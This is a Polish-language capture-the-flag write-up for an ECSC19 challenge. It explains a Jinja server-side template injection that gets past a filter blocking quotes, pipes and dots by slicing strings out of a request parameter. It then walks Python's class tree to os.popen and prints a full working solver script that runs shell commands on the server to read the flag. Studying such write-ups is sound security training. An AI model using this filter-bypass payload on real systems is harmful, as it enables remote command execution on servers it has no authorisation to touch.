Very Safe Ninja
Zadanie
Dosyć typowe zadanko na SSTI, filtrowane znaczki to: '"|.
Musimy stworzyć payloada bez ich użycia, ale możemy użyć zmiennej title z dowolną zawartością.
Rozwiązanie
By pozbyć się '
i "
przekażemy wszystkie używane stringi w zmiennj title i będziemy sie odwoływać do jej fragmentów.
|
nie był tu potrzebny, wiec niezbyt wiem z jakiego powodu znalazł sie w blokowanych znakach.
Brak .
ominiemy standardowo: zamiast napisać os.system
, można zrobić os['system']
. Potem zostaje przejście Pythonowego drzewka klas żeby dostać sie do czegoś przydatnego i to wywołać, ja użyłem os.popen
. Skrypt rozwiązujący zadanie:
#!/bin/python3
import io
import requests
import html
import binascii
t = requests.post('https://verysafeninja.ecsc19.hack.cert.pl/', data = {'title' : '__class____mro____subclasses__load_module__globals____import____builtins__getattrospopenecho *readcat flag*'}, files=[
('content', ('body.html', io.BytesIO(b'''
{% set builtins = request[title[0:9]][title[9:16]][9][title[16:30]]()[69][title[30:41]][title[41:52]][title[52:62]][title[41:52]][title[62:74]] %}
{% set getattr = builtins[title[74:81]] %}
{% set os = builtins[title[52:62]](title[81:83]) %}
{% set popen = getattr(os, title[83:88]) %}
{% set a = popen(title[98:107]) %}
{{ getattr(a, title[94:98])() }}
{{ system }}
{{title[0:9]}} __class__
{{title[9:16]}} __mro__
{{title[16:30]}} __subclasses__
{{title[30:41]}} load_module
{{title[41:52]}} __globals__
{{title[52:62]}} __import__
{{title[62:74]}} __builtins__
{{title[74:81]}} getattr
{{title[81:83]}} os
{{title[83:88]}} popen
{{title[88:94]}} echo *
{{title[94:98]}} read
{{title[98:107]}} cat flag*
'''.strip()), 'text/html', {'Expires': '0'})),
], allow_redirects=False)
print(html.unescape(t.text))
print(t.status_code)
Po wywołaniu otrzymujemy flagę:
ecsc19{g0d-damn-those-templates-again}
No Comments